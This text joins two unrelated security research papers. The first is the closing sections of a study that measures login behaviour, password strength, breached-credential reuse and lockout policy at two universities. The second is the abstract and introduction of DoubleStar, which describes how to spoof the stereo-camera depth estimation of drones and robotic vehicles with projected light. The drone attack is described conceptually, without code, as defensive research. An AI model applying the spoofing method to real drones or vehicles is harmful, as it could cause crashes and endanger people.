with invalid usernames.

More summary statistics on these login requests can be
found in Figure 4 and are elaborated in more detail below.

IP and client characteristics. Requests originated from
539 K unique IP addresses at U1 and 2.47 M at U2. There
were 44 K IPs that sent requests to both universities; of these,
621 IPs had no successful logins.

We also recorded the user agent strings present in the HTTP
header of the login requests. We observed about 5 K unique
user agent strings at U1, and about 31 K at U2. The top 10
user agents at each school are listed in Appendix A Figure 13.
In 22% of requests at U2, the user agent string was set to
an empty string; all of these requests were through basic
authentication [16]. U1 does not support basic authentication,
and less than 1% of the requests had an empty user agent field.
We suspect that attempts with an empty user agent field were
submitted via an automated script that neglected to set the user

agent field. A breakdown of operating systems mentioned in
the user agent string appears in Appendix A Figure 11.

Prior work [17] has suggested that attempts from multiple
devices for a user is suspicious and should require additional
authentication steps. Freeman et al. defined a device as a pair
of a unique IP address and a user agent [17]. We observed
that on average, 3% of users at U1 and 19% of users at U2 log
in from two different devices per day. 11% of users at U1 and
6% of users at U2 have logged from more than fifty devices
over the course of the study period.

To find what fraction of IPs were public VPNs, proxies, or
Tor exit nodes, we used the Blackbox5 API. We found that
22% of IPs at U1 were VPNs, proxies, or Tor exit nodes. How-
ever, at U1, 16% of all IPs are 10-space IPs, all of which are
marked as VPNs/proxies, contributing to this high percentage.
These IP addresses are set up by the university IT department
and are not accessible outside of the university network. At
U2 about 5% IPs were flagged as VPN/proxies by Blackbox
API, and 3.6% of all IPs are 10-space IP addresses. Because
users may be sharing a VPN or proxy network, it is possible
that some users may have the same IP; thus we report most
statistics based on device, since it is less likely two different
users would also have the same user agent.

The IP address of a user’s device might change over time
due to DHCP churn or switching between multiple networks.
Therefore a login from the same device and browser may
appear as if it’s from multiple different devices, according to
the previous definition. So, we conservatively estimate the
number of different browsers per user based on the user agent
string. At U1, 21% of valid users, and at U2 29%, successfully
logged in with ten or more user agents. Thus, many users log
in from different browsers, and login security mechanisms
must consider this while designing policies.

We were also interested in determining what percentage of
users logged in on their mobile device (smartphone or tablet)
versus on a laptop or desktop computer. To do this, we used a
regular expression that matched mobile devices on the user
agent. We found that at U1, 31% of requests originated from a
mobile device; out of those, 84% of requests originated from
iOS devices and 16% from Android devices. At U2, 18% of
requests (80% of which were iOS and 20% Android) came
from a mobile device. At both schools, iOS devices were
significantly more popular.

These findings may be useful in developing attack detection
mechanisms. For example, if a user always logs in from an
Android device, it may be suspicious if they attempt to log in
from an iOS device.

6.3 Password security
The strength and guessability of a password directly affect
the security of a user’s account. Using the visibility into pass-
words provided by Gossamer, we investigate password se-

5https://blackbox.ipinfo.app/
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Figure 5: Cumulative distributions of unique passwords per
username and IP for February 2021. The X-axis is log scale.

curity in terms of strength, the number of unique passwords
submitted for a username, and the use of breached credentials.

Password strength. We used four different measurements
in Gossamer to measure password strength. We record the
bucketized zxcvbn score, as described in Section 4; whether
the password appears in the top 5k most common RockYou
passwords; whether the password appears in the top 5k pass-
words generated by Hashcat on the RockYou dataset with
the best64 ruleset [7]; and finally, whether the password ap-
pears in the top 1000 most common passwords in our breach
compilation dataset.

Exact percentages of requests matching each of these pass-
word strength metrics can be found in Appendix A Figure 12.
In summary, we found that the vast majority of valid users
were using strong passwords by these metrics. Both universi-
ties use strong password policies, requiring a minimum length
of 8 and at U1 three different character classes; so this finding
is not surprising.

Unique passwords. We also measure the number of unique
passwords submitted for a given username or from a given IP
address on a certain day.

We observe that a median of one and a 99th percentile of
seven unique passwords are submitted against a single user-
name per day. Slightly more unique passwords — a median
of one and 99th percentile of nine — are submitted from a
single IP address at U1 (unfortunately we do not have this
measurement at U2 because of a configuration issue) . Both
distributions are shown in Figure 5. More unique passwords
are submitted from a single IP address than for a single user-
name, which makes sense because an IP address may submit
to multiple different users, especially if it is a VPN/proxy.

We noted earlier that some organizations may lock accounts
that receive a certain number of failed attempts in a given time
period. However, these lockout mechanisms do not take into
account whether a user submitted the same password multiple
times. Creating a lockout threshold based on the number of
unique passwords tried instead of the total number of attempts
would improve usability without any improvement in attacker
success rates.

To demonstrate this, we consider a lockout threshold of
10 and calculate the number of accounts that would have
been locked by counting the number of attempts on a given
day instead of the number of unique passwords. We find that
17,863 accounts would have been locked under the simple
policy, versus just 2,220 accounts under the policy that counts
by unique passwords — an 88% decrease. Similarly for a
lockout threshold of 5, implementing the more complex policy
would decrease the number of lockouts by 91% from 280,360
to 23,919.

Such a lockout policy could be implemented relatively sim-
ply by storing the password hashes submitted for a given user
for the last day. Then a lockout policy would check the num-
ber of unique hashes submitted in the designated time period.
This new policy would improve usability with only a slight
increase in implementation complexity and no benefit to a
potential attacker.

Breached credential use. To measure the usage of breached
credentials, Gossamer records for each attempt whether the
username, password, or username-password pair appeared in
our breach dataset. Usernames were stripped of a domain
name, if applicable, before performing the match. We find
that nearly 6% of valid users at U1 and 3% of valid users
at U2 appear in our breach dataset, indicating that they have
appeared in some data breach in the past. Additionally, we
find that 3% of submitted passwords at U1 and 0.1% at U2
appeared in a breach; finally, 0.07 % of username-password
pairs at U1 and 0.01% at U2 appeared in a breach. Most of
these were failed attempts, but we find that 23 users (0.01% of
valid users) at U1 and 254 users at U2 (0.15% of valid users)
were still using a breached password as their actual password.

These users are vulnerable to credential stuffing attacks,
and this motivates the deployment of breach alerting tools in
login systems that would prevent users from continuing to
use breached passwords.

For each attempt, we also check for tweaked passwords
by recording the similarity of the submitted password to a
breached password using three metrics — edit distance, PPSM
similarity, and pass2path rank [34]. We define a password as
being tweaked if the edit distance is less than or equal to
two, the PPSM similarity is zero (indicating that they are
similar), or the pass2path rank is less than or equal to 1,000.
We found that at U1, 0.92% of all passwords submitted were
tweaked, and 2,164 users (1.22% of valid users) were using
a tweaked password. At U2, 0.34% of passwords submitted
were tweaked, and 1,125 users (0.66% of valid users) were
using a tweaked password.

However, due to the design of the system, we can only
determine whether a user has a tweaked password if they
had a previously breached password in our dataset to which
we can compare. When we take this into account, we find
that nearly 7% of users at both universities with at least one
breached password were using a tweaked password. A recent
study by Pal et al. [34] reported a slightly higher rate of 8.4%.
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We hypothesize that users may append a single character to
their old, breached password, causing them to be vulnerable
to credential tweaking attacks, in which an attacker tries close
variants of breached passwords in an attempt to guess user
passwords. Implementing a breach alerting system such as
Might I Get Pwned [35] or using a personalized password
strength meter [34] in the password change flow could alert
users when they attempt to change their password to one that
is vulnerable to credential tweaking attacks.

Password changes. Neither of the universities have any pe-
riodic password change policies. At U2, users are recom-
mended to change their passwords twice a year, but this is
not enforced. New passwords are recommended to not be
the same or similar to any previous passwords, but this is
not enforced either. Although we did not instrument the pass-
word change system, we are able to estimate a subset of the
password changes made using the password’s edit distance
from the previous submissions for a user logged by Gos-
samer. Because previous submissions are cleared every 24
hours, though, we can only use this measurement in instances
when the user logged in with their old and new password on
the same day. We find 9,011 total password change events
made by 2,893 unique users — 78 of which appeared in the
compromise database — at U1. At U2, we saw 42,827 total
password change events made by 7,812 unique users — 211
of which appeared in the compromise database. Of the pass-
word change events at U1, 100 resulted in a new password
that was in our breach dataset, and 125 resulted in a new pass-
word that was a tweaked version of one in our breach dataset.
At U1, at least 1.9% of valid users changed their password at
one point during the seven month measurement period (about
1.3 K per month) and at U2, at least 4.6% (14 K per month).
This is only a lower bound, since we can only measure a frac-
tion of password changes, and prior work is consistent with
this bound, reporting higher password change rates [10, 14].

6.4 Usability
A longstanding complaint about passwords is their usabil-
ity. Users often have trouble remembering strong passwords,
and they may commit typos especially if they do choose a
stronger, more complex password [11, 38, 39]. A key benefit
of Gossamer is that it provides a new observation point for
measuring password-based login usability.

Login sessions. A user can retry logging in if a login attempt
fails (probably due to submitting an incorrect password). To
better understand a user’s pattern of login retries, we define a
login session as a sequence of login attempts to a username
from the same device ending either in a successful attempt
or in a period of inactivity (indicating that the user has given
up after a series of failed attempts). We define a device as
a tuple of an IP address and a user agent. It is possible that
more than one user may use the same internet connection
and thus have the same IP address. In this case, it’s possible
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Figure 6: Cumulative distribution of interarrival time between
requests for different inactivity thresholds for February 2021.
The X-axis is log scale.

that they may appear in the same login session if they both
submit login requests to the same username in a period of
time and share the same user agent as well; however, this
seems an unlikely scenario. The definition of login session is
parameterized by the length of the period of inactivity, which
we call the inactivity threshold. We refer to a session that did
not end in a successful login as an abandoned session and the
number of login attempts in a login session as session size.

We examine the time between successive login requests,
termed as interarrival time, to determine the inactivity thresh-
old that provides stable session size. Because a successful
login request indicates the end of a login session, we specifi-
cally investigate pairs of successive login requests where the
first request was not successful. We show this distribution in
Figure 6 at both universities for the month of February 2021,
as a representative month for which the data collection pe-
riods overlap. We limit the X-axis to 15 minutes for easier
viewing. At U1, 81% of successive attempts are executed
within 60 seconds of the previous attempt, 90% of requests
are executed within 361 seconds (6 minutes), and 95% of
requests are executed within 13 minutes.

We can also see by looking at the average session size for
multiple thresholds (Figure 7) that the choice of inactivity
threshold does not significantly affect the session size. Thus,
we choose 6 minutes as our inactivity threshold for future
statistics involving sessions, since 90% of successive attempts
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Inactivity threshold Average session size
(seconds) Univ. 1 Univ. 2

60 2.16 2.44
360 2.29 2.22
600 2.32 2.99

Figure 7: Average session sizes (number of attempts per ses-
sion) for different inactivity thresholds

occurred within that window.
With this definition, we find that 51% of sessions at U1

required more than one attempt, and nearly 5% of sessions
were abandoned. For U2, 38% of sessions required more than
one attempt, and 2% of sessions were abandoned. With so
many sessions requiring more than one attempt, there is much
room for improvement in usability of password-based logins,
which we elaborate on in our discussions on password typos
and lockout thresholds.

Retries. The session size indicates how many retries were re-
quired before a successful login or the user giving up. Thus we
show the average session sizes for different inactivity thresh-
olds in Figure 7. At U1, we found that 22% of successful
sessions and 14% of abandoned sessions required more than
one attempt; at U2, 38% of sessions required more than one
attempt. Some login systems have a lockout policy, in which
they lock a user’s account after a certain number of failed
attempts have been made. In this case, the 99th percentile of
session size is 10 attempts per session, providing empirical
support for a standard choice for lockout threshold.

We measure the number of sessions per user in a single
day, as this will inform how often a user needs to go through
the login process, how important it is to have a frictionless
login process, and how effective single sign-on is. We find
that a user attempts to log in a median of one session per
day and a 99th percentile of six sessions per day; we show
the distribution of the number of sessions per user per day in
Figure 8. However, the tail end of the graph shows that some
users attempted up to 112 sessions in a single day. Given that
the 99th percentile is six sessions per day, this is probably
indicative of suspicious behavior, and in future work this
metric may be used in conjunction with the other metrics
we’ve reported to further investigate possible attacks.

To investigate the password-based login usability of mobile
devices, we compare the session size and frequency of ses-
sions per day for mobile and non-mobile sessions. We break
mobile devicesdown even further by comparing iPhone and
Android devices; these distributions are shown in Figure 9.
We can see from these graphs that users of iOS devices tend
to require more attempts than Android ones.

Password typos. One of the areas of friction in a login sys-
tem may be password typos, especially for stronger, more
complex passwords. With the ephemeral datastore in Gos-
samer, we computed whether a password submission was
within edit distance two of the actual password.
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Figure 8: Cumulative distributions of number of sessions per
user per day for an inactivity threshold of 360s for February
2021. The X-axis is log scale.
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Figure 9: Cumulative distributions of session sizes (number
of attempts per session) for mobile devices for February 2021.
The X-axis for U2 is limited to 10 for comparison with U1
(although the maximum session size consisted of 54 attempts).

We can estimate the number of password typos using this
measurement; however, we only have this measurement for
users that later logged in successfully on the same day, which
is only 45% of all failed attempts at U1. Thus we find that at
U1, 62% of failed requests where we have this measurement
contained typos of edit distance two or less, or 30% of all
failed requests. In a study at Dropbox, Chatterjee et al. [11]
estimated the number of typos to be at least 9% of all failed
requests.

Requests originating from mobile devices tend to contain
typos even more frequently. Out of all failed mobile requests
with the edit distance measurement at U1, 72% were typos
(or 39% of all failed mobile requests).

When investigating sessions with two or more attempts, we
found that 12% of eventually successful sessions of size two
or greater initially failed because of a typo. The remaining
failures may be explained by user memory errors (using the
wrong password). These findings further underscore the utility
of password managers, since they help avoid both typos and
memory errors.

Password managers. Although we cannot identify users
with password managers with certainty, we can find the num-
ber of users with a certain number of successful login attempts
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and no failures, and we conjecture that this may be an approx-
imation. For example, we found 25% of valid users at U1
and 27% at U2 have at least ten logins and never had a failed
login over the course of our measurements. Since, as we show
in Figure 4, the majority of users — 99.97% users in U1 and
99.94% users in U2 — are using strong passwords (according
to the zxcvbn score), we believe that these users are using
password managers to enter their passwords.

Duo logs. Both U1 and U2 have introduced the use of Duo
two factor authentication [9] to further strengthen account
security. At U2, we were able to analyze Duo logs for suc-
cessful login attempts and combine them with Gossamer logs
to explore the tension between usability and security with re-
spect to MFA. Unfortunately, our logs and Duo log entries do
not share any unique identifiers. Instead, we try to match each
successful login attempt to a corresponding Duo push within
two minutes of the login request originating from the same
user. If there were multiple matches to a single successful
login attempt, we chose the Duo push closest in time to the
login request.

At U2, out of 15.9 M successful login requests, 62% were
using Basic Auth [16], which does not require users to en-
roll in two-factor authentication. Among the remaining 6.0 M
successful logins, we could match 89% of requests, and the
remaining 11% already had a previously obtained Duo cookie
which remained active for 12 hours after a successful authen-
tication. Among the Duo pushes we could successfully match
with a login attempt, we found that 96.7% were successful,
3.2% were denied, and only 46 (< 0.01%) were marked as
fraud by users. Users on average took 14 seconds to mark
their Duo push as valid, slowing down logins for honest users.

7 Conclusion

We designed, built, and carefully deployed Gossamer, a frame-
work for securely recording statistics about login requests and
submitted passwords during login. Our approach combines
system security mechanisms, a simulation-based approach
to assessing risk of different measurements, and procedural
mechanisms to enable new kinds of measurement studies. In
studies conducted at two large universities in collaboration
with their IT security teams, we were able to gather first-of-
their-kind measurements about login behavior that shed light
on usability, security, and attacker behavior.

Through these measurements, we observed several patterns
in user login behavior. First, we saw that login friction is still
high. Many users require more than one attempt before suc-
cessfully logging in, and Duo two-factor authentication added
on average an additional 14 seconds to their login. One sug-
gestion we have for reducing login friction is to count unique
passwords submitted for a user, rather than every request; we
find that this would reduce lockouts by 88%.

Second, we observe that reuse of breached credentials is a
serious problem: nearly 3% of valid users at U1 and more than
9% at U2 are using a breached password that appears in our

breach dataset. During our data collection period, some users
changed their passwords to either exactly equal to one of their
breached passwords or very similar to their breached pass-
words. To reduce this number, we encourage the deployment
of breach alerting services such as Might I Get Pwned [35]
that could indicate when a user’s password is vulnerable to
credential stuffing.

We also find that visibility into submitted passwords is
helpful for designing security mechanisms and informing new
policies. Similar to how we proposed a new lockout policy,
authentication system developers can use a framework such
as Gossamer to test the effect of new policies before their
deployment. Future analyses with Gossamer may investigate
how password-derived signals help in detecting different types
of password guessing attacks and the efficacy of Duo two-
factor authentication in stopping different types of attacks.
Also, Gossamer can be extended with additional measure-
ments using the same framework and simulation method for
assessing the risk of different measurements. Thus both the
tool and approach can be useful in the future for helping ana-
lysts detect and develop mitigations against attacks. We will
be releasing Gossamer as a public, open-source project.
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A Appendix

A.1 Measurements Taken
We show all data stored in the ephemeral and persistent databases
in Figure 10. Note that the raw password is only stored in encrypted
format for 24 hours in the ephemeral database. The symbol × in-
dicates that a field was stored in plain text and

⊗
indicates it was

encrypted before storing in the indicated level of storage.

A.2 Filtering Out Attacks
We excluded high volume attacks before reporting summary statis-

tics to capture an accurate description of regular user behavior. The
remaining harder-to-detect adversarial behavior appears to be an
insignificant fraction of logins. We were given access to compromise
account reports from the instrumentation time period (as described in
Section 3. We found that an average of 190 compromised accounts
were reported every month. Overall, less than 1% of the total user
population in the monitoring period were compromised, less than
1% of all logins were to accounts that were compromised at some
point in the measurement period, and 2% of IPs were associated with
those requests.

The compromise report database logged compromise usernames,
but not specific requests or IP addresses corresponding to the user’s
compromise; thus it was difficult to exclude all attacks without
filtering out an even larger portion of benign behavior. Excluding all
login requests to usernames that were compromised at any point in
our instrumentation period did not significantly change the summary
statistics we reported. However, filtering out the high-volume attacks,
as we did in the paper, did change some statistics.

To concretize this, one statistic that we believe is more sensitive
to whether attack traffic is included in measurements is the fraction
of requests using a breached password. With the high-volume attacks
included in the calculation, this fraction was 4.73%. This percentage
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Field Eph. Pers.

Basic statistics
username

⊗ ⊗
password

⊗
IP address × ×
receipt timestamp at the login server and at Gossamer × ×
receipt timestamp at Gossamer × ×
HTTP headers × ×
result (success or failure), result code × ×
zxcvbn score (bucketized to 0, 1) ×
password was malformed ×
Credential stuffing measurements
username appeared in the breach data ×
password appeared in the breach data ×
username-password pair appeared in the breach data ×
breach source of the username, password, or pair ×
Credential spraying & dictionary-based guessing
measurements
password appeared in

– top {10, 100, 1,000} most common breached pws ×
– top {2,000, 5,000} hashcat-generated pws ×
– top {2,000, 5,000} RockYou pws ×

was password frequently submitted today? ×
was username frequently submitted today? ×
Credential tweaking measurements
PPSM [34] strength of password ×
guess rank due to credential tweaking attack [34] ×
edit dist. ≤ 2 of pw from
– other submissions for same username ×
– other submissions for same IP ×

Figure 10: Measurements we log in ephemeral (Eph.) and
persistent (Pers.) storage.

decreased to 2.36% when we filtered out high volume attacks, but
only further decreased to 2.34% when we filtered out all requests
associated with a compromised username.

Characterize benign behavior in the presence of attacks is a
fundamental challenge, given the lack of ground truth. Future work
improving the identification of adversial behavior can confirm our
characterization of benign user behavior.

A.3 Login Statistics
We show some additional statistics about the login requests recorded
by Gossamer. Figure 12 shows some additional statistics we re-
ported earlier in Figure 4. Figure 11 shows the distribution of opera-
tion systems as parsed from the user agents of the requests at both
universities; Figure 13 shows the top 10 most common user agents
we saw at both schools.

OS U1 U2

Windows 36.13% 23.96%
Mac OS X 29.47% 19.58%
iOS 26.20% 43.47%
Android 5.04% 3.18%
Linux 2.43% 0.31%
Other 0.73% 8.96%

Figure 11: The distribution of operating systems (OS) as
detected in the user-agent of all the requests (after removing
requests containing empty user-agent string at U2).

Univ. 1 Univ. 2

Submitted password statistics
% req. w/ password in breach† 2.71% 0.10%
% req. w/ username in breach† 5.31% 3.08%
% req. w/ user-pwd pair in breach† 0.07% 0.01%
% failed req.
– containing a typo 29.67% 12.04%
– containing a typo (with edit dist msmt) 62.39% 58.37%
– from mobile device containing a typo 38.63% 38.36%
– from mobile device containing a typo (with

edit dist msmt)
72.69% 81.87%

% pwds tweaked 0.92% 0.34%
% pwds w/ zxcvbn score of 0 0.06% 0.40%
% pwds in top 5k hashcat < 0.01% 0.06%
% pwds in top 5k rockyou 0.02% 0.17%
% pwds in top 1k breach comp 0.01% 0.10%

Session Statistics (with a 360s threshold)
Avg. session size 2.25 2.21
99th percentile session size 10 6
% abandoned sessions 5.47% 1.96%
% sessions with at least two attempts 22.24% 38.22%
% mobile sessions 41.32% 35.45%
% sessions with a typo 2.64% 0.85%
% mobile sessions with a typo 0.01% 0.20%
Avg. num sessions per user per day 1.74 9.23

User Statistics
# of unique usernames seen 196,424 309,801
# of valid users 177,286 169,774
# of active users 130,695 110,476
% valid users w/ weak passwords 0.03% 0.06%
% valid users w/ username in breach† 5.79% 3.27%
% valid users w/ passwords in breach† 2.92% 9.34%
% valid users w/ user-pw pair in breach† 0.01% 0.15%
% valid users w/ tweaked password 1.22% 0.66%
% valid users w/ no failed attempts 33.21% 58.02%
% valid users who may be using pw managers 24.76% 27.34%
Avg. fails before a success 1.18 1.19
Avg. devices per user per day 1.51 1.91
Avg. devices per user 14.51 14.97
Avg. IPs per user 8.70 10.56
Avg. successful IPs per user 10.65 17.63
Avg. user agents per user 6.15 3.99
Avg. unique passwords per user 1.96 9.59
Avg. attempts per unique IP per user 5.86 5.21

Login Statistics
Avg. Login requests per day 49,302 246,274
Avg. # of submitted usernames per day 24,822 61,798
% of requests succeeded 94.99% 92.35%
% of requests with null user agent 0.48% 34.31%
# of requests per day per user

– Average 1.99 2.05
– median 1 2
– 99th-percentile 7 12

% of requests from mobile device 31.00% 35.57%
% of failed requests from mobile device 24.90% 11.96%

† Statistics related to breach data were calculated for data beginning Jan 27
’21 after we added more breach data to the instrumentation.

Figure 12: Summary statistics of login requests recorded by
Gossamer at U1 (from Dec. ’20 to July ’21) and U2 (from
Dec ’20 to Mar ’21).
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User agent % req.

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 1.54%
Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148
Safari/604.1

0.99%

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 0.36%
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 0.23%
Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PingdomTMS/0.8.5 Safari/534.34 0.22%
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 0.21%
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 0.15%
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 0.14%
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 0.13%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Edg/87.0.664.66

0.13%

User agent % req.

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 3.15%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 1.56%
Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148
Safari/604.1

1.54%

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 1.32%
Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148
Safari/604.1

1.16%

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 1.12%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 0.88%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 0.76%
Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148
Safari/604.1

0.70%

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 0.62%

Figure 13: Top 10 most common user agents at U1 (top) and at U2 (bottom)
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Abstract
Depth estimation-based obstacle avoidance has been widely

adopted by autonomous systems (drones and vehicles) for
safety purpose. It normally relies on a stereo camera to auto-
matically detect obstacles and make flying/driving decisions,
e.g., stopping several meters ahead of the obstacle in the path
or moving away from the detected obstacle. In this paper, we
explore new security risks associated with the stereo vision-
based depth estimation algorithms used for obstacle avoid-
ance. By exploiting the weaknesses of the stereo matching in
depth estimation algorithms and the lens flare effect in optical
imaging, we propose DoubleStar, a long-range attack that
injects fake obstacle depth by projecting pure light from two
complementary light sources.

DoubleStar includes two distinctive attack formats: beams
attack and orbs attack, which leverage projected light beams
and lens flare orbs respectively to cause false depth percep-
tion. We successfully attack two commercial stereo cam-
eras designed for autonomous systems (ZED and Intel Re-
alSense). The visualization of fake depth perceived by the
stereo cameras illustrates the false stereo matching induced
by DoubleStar. We further use Ardupilot to simulate the at-
tack and demonstrate its impact on drones. To validate the
attack on real systems, we perform a real-world attack towards
a commercial drone equipped with state-of-the-art obstacle
avoidance algorithms. Our attack can continuously bring a
flying drone to a sudden stop or drift it away across a long
distance under various lighting conditions, even bypassing
sensor fusion mechanisms. Specifically, our experimental re-
sults show that DoubleStar creates fake depth up to 15 meters
in distance at night and up to 8 meters during the daytime. To
mitigate this newly discovered threat, we provide discussions
on potential countermeasures to defend against DoubleStar.

1 Introduction

Obstacle detection and avoidance are widely adopted in
autonomous systems, such as autonomous driving vehi-
∗Corresponding author: Dr. Qiben Yan (qyan@msu.edu)

Figure 1: An attacker uses two projectors to launch
DoubleStar at 7m away on a flying DJI drone. A fake depth
of 0.5m is created by the attack and detected by the DJI drone
as a real obstacle during the daytime.

cles [52, 55, 57], robotic vehicles [32, 36], and drones [10, 45].
Generally, Obstacle Avoidance (OA) system detects the obsta-
cles in the surroundings via different sensors, e.g., cameras,
radars, LiDARs, and ultrasonic sensors, and converts the per-
ceived data into obstacle information (e.g., obstacle distance,
obstacle type). The autonomous systems then make an ap-
propriate driving/flying decision, such as raising the alarm,
braking in front of the obstacle, or moving away from it.

The recent rise in the popularity of drones and self-driving
vehicles helps drive OA’s prevalence, while the potential risks
of OA algorithms warrants further research. Although the
community produced a wealth of security research on au-
tonomous systems over the years [5, 29, 35, 43, 44, 47, 50, 64],
one sensing modality that is nearly omnipresent in modern
OA, the stereo camera [61] (a.k.a., 3D depth camera), has
mostly been overlooked. In this work, we expose the security
risk of stereo cameras for the first time and propose a new
attack, DoubleStar, which targets the depth estimation — one
of the core functionalities of stereo cameras. DoubleStar al-
lows an attacker to launch long-range and continuous attacks
towards depth estimation by creating fake obstacles optically.
Since the estimated depth is an essential input parameter to the
OA systems, DoubleStar has profound implications towards
the functional safety of autonomous systems.
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DoubleStar builds upon a rich body of research on camera
sensor security. Earlier studies that feature denial-of-service
(DoS) attacks [41,54,64] can be detected easily by tamper de-
tection mechanisms [42]. DoubleStar draws inspiration from
other recent studies that have overcome such a limitation. One
such attack, GhostImage [29], utilizes lens flare effect to de-
ceive the image classification systems in autonomous vehicles
into misperceiving actual objects or perceiving non-existent
objects. However, GhostImage is limited by the inability to
sustain a continuous attack due to the pixel-level position
aiming issue arisen from the white-box attack design. Our ex-
periments further show that GhostImage is more challenging
to realize against cameras with commonly used anti-reflection
coatings [59]. More importantly, all existing attacks target
monocular cameras. To date, DoubleStar is the first to exploit
stereo cameras’ vulnerabilities on autonomous systems.

Stereo cameras are widely available on robotic vehicles1,
which have been used for navigation and 3D tracking appli-
cations [17, 32, 36]. Drones, on the other hand, are smaller in
scale with less functional demands, whose navigation usually
requires the depth information. Since LiDARs and Radars are
not favorable on drones due to their form factors and high
costs, the stereo camera becomes the de-facto sensor to per-
ceive accurate depth information. Almost all the high-end
drones are equipped with stereo cameras, such as DJI Phan-
tom series [10], DJI Mavic series [9], Skydio R1 [46], Yuneec
Typhoon series [68], and Autel Evo II series [3]. Previous
studies [7, 34, 47] investigated the security of drones. They
either launched DoS attacks on the drone by injecting ultra-
sound into the IMU [47,56,65] in a close attack range (around
10cm), or aimed at controlling the drone in an indoor environ-
ment with a limited attack range (≤ 3m) [7]. “How to control
the drone over a long range” is still an open problem. In this
work, we demonstrate the capability of DoubleStar in con-
trolling drones continuously over a long range. As shown in
Fig. 1, an attacker uses two projectors to launch DoubleStar
at 7m away on a flying DJI drone. In doing so, we expose the
new threats against the stereo cameras in OA systems.

DoubleStar consists of two attack formats: the beams at-
tack and orbs attack. They mainly exploit the false stereo
matching in depth estimation algorithms and the lens flare
effects in optical imaging. Beams attack exploits the stereo
matching process, in which an attacker injects two different
light sources into each camera. The injected light source will
become brighter and more prominent in one camera than the
other. Since stereo matching tries to find the pixels in images
corresponding to the same point, it recognizes the injected
strong light sources in left and right images as the same ob-
ject, resulting in a faked object depth. Orbs attack leverages
lens flare effect, a phenomenon that strong light beams are re-
fracted and reflected multiple times, which creates green-color
polygon-shape artifacts in camera images [14, 27]. When two

1Robotic vehicle refers to the unmanned robot vehicle used in manufac-
turing, transport, military, etc.

light sources are injected into each camera, a green orb will
be created for each image. The depth estimation algorithms
falsely match two orbs in two images as the same object,
resulting in a fake obstacle depth.

There are two major challenges in realizing DoubleStar:
(1) How to design the attacks that can induce variable fake
obstacle depths? (2) How to estimate the artificial obstacle’s
position without accessing the stereo camera? To address
these challenges, we design 3 different attack patterns for
both the orbs and beams attacks, totaling 6 attack patterns.
We launch different types of attacks in tandem to complement
each other in extending the attack range while maintaining
high attack success rate.

We verify the efficacy of DoubleStar both in simulation
and in real-world experiment. We run the simulation on one
of the most popular unmanned vehicle projects, Ardupilot [2],
to demonstrate the potential attacks on drones and vehicles.
For the proof-of-concept experiments, we conduct our attacks
on two commercial stereo cameras designed for autonomous
systems (e.g., robotic vehicles, drones, robots), ZED [69] and
Intel RealSense D415 [16], and one popular drone, DJI Phan-
tom 4 Pro V2 [10]. Evaluation results show that our attacks
can achieve up to 15m distance at night and up to 8m distance
during daytime with fake obstacle distance ranging from 0.5m
to 16m, which covers the whole range of the obstacle depth
in the OA system on the DJI drone. Both the simulation and
physical world experiments demonstrate that the devices un-
der attack run out of control as soon as our attacks are turned
on. We set up a website2 to show the simulation results and
demo videos.

In summary, this paper makes the following contributions:

• We propose DoubleStar, the first attack against stereo
vision-based depth estimation in OA systems on robotic
vehicles and drones.

• We are the first to launch a long-range and continuous
attack towards autonomous systems. Through simula-
tion, we show that DoubleStar achieves a fine-grained
trajectory manipulation of drones.

• We successfully launch DoubleStar on two commercial
stereo cameras designed for robotic vehicles and drones
(ZED and Intel RealSense D415) and one of the most
advanced drones (DJI Phantom 4 Pro V2) in different
ambient light conditions.

2 Background

In this section, we briefly introduce the preliminary back-
ground knowledge of DoubleStar, including the foundation
of depth estimation from stereo vision and the lens flare effect
in optical imaging.

2https://fakedepth.github.io/.
